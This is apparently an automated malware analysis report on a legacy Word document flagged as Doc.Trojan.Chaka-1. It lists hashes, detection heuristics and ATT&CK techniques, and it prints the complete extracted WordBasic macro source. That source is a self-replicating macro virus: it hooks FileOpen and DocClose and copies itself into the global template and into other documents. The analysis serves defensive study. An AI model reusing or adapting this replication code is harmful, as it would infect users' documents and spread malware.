Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 047453410fa62dd1…

MALICIOUS

Office (OLE)

34.5 KB Created: 1999-03-18 19:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2b0c95f183547a0bcdce4554df57c03c SHA-1: 3748e072f57813b2b8d5a47eb2dc6577a637855a SHA-256: 047453410fa62dd177053243389b9005f20153ddc4c00e1a13f97cef5bd4bb19
128 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and an AutoOpen macro, indicating an attempt to exploit older vulnerabilities. The script attempts to copy itself and modify the document, likely to spread or execute further malicious actions. The presence of 'ChAkANightmare Joker [SLAM]' in the document body and script comments suggests a specific, albeit obfuscated, intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Chaka-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Chaka-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "aUTOoPEN"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1947 bytes
SHA-256: 289bf9c00c8f91cadfdf0ff48abadd0c02c2bbfe6461da022958531e03ef8051
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "aUTOoPEN"

Public Sub MAIN()
Dim a$
Dim M1$
Dim M2$
Dim i
Dim IV

Rem ChAkA! Nightmare Joker [SLAM]

On Error GoTo -1: On Error GoTo Finish
a$ = WordBasic.[AppInfo$](16)
a$ = WordBasic.[Left$](a$, 7)
If a$ = "Deutsch" Then
    M1$ = "DateiÖffnen"
    M2$ = "DokumentSchließen"
ElseIf a$ = "English" Then
    M1$ = "FileOpen"
    M2$ = "DocClose"
End If
If WordBasic.CountMacros(0) > 0 Then
For i = 1 To WordBasic.CountMacros(0)
    If WordBasic.[MacroName$](i, 0) = "ChAkA" Then
            IV = 1
    End If
Next i
End If
If IV = 0 Then
WordBasic.MacroCopy WordBasic.[FileName$]() + ":aUTOoPEN", "Global:ChAkA"
WordBasic.ScreenUpdating
WordBasic.ToolsMacro Name:=M1$, Show:=1, Edit:=1
WordBasic.StartOfDocument
WordBasic.LineDown 1
WordBasic.CharRight 10
WordBasic.Insert Chr(32)
WordBasic.StartOfDocument
WordBasic.LineDown 4
WordBasic.EndOfLine
WordBasic.InsertPara
WordBasic.Insert "ChAkA.InfectDoc"
WordBasic.DocClose 1
WordBasic.ToolsMacro Name:=M2$, Show:=1, Edit:=1
WordBasic.StartOfDocument
WordBasic.EndOfLine
WordBasic.InsertPara
WordBasic.Insert "ChAkA.InfectDoc"
WordBasic.DocClose 1
WordBasic.FileSaveAll 1, 0
WordBasic.ScreenUpdating
End If
Finish:
End Sub

Private Sub InfectDoc()
Dim i
Dim ID
On Error GoTo -1: On Error GoTo Venito
If WordBasic.CountMacros(1) > 0 Then
For i = 1 To WordBasic.CountMacros(1)
    If WordBasic.[MacroName$](i, 1) = "aUTOoPEN" Then
            ID = 1
    End If
Next i
End If
If ID = 0 Then
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:ChAkA", WordBasic.[FileName$]() + ":aUTOoPEN"
WordBasic.FileSaveAll 1, 1
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.